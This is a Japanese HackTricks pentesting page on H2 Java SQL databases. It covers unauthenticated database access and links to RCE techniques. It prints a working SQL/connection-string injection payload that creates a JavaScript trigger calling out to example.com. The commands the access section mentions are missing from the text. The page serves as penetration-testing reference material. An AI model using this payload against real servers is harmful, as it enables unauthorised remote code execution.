H2 - Java SQLデータベース

Reading time: 3 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

公式ページ: https://www.h2database.com/html/main.html

アクセス

有効な資格情報なしで新しいデータベースを作成するために存在しないデータベース名を指定できます (未認証):

また、例えばmysqlが実行中で、そのデータベース名資格情報がわかっている場合は、単にアクセスできます:

HTBのボックスHawkからのトリック。

RCE

H2データベースと通信するアクセスがある場合、これをチェックしてRCEを取得します: https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed

H2 SQLインジェクションによるRCE

この投稿では、SQLインジェクションを悪用してH2データベース経由でRCEを取得するペイロードが説明されています。

json
[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする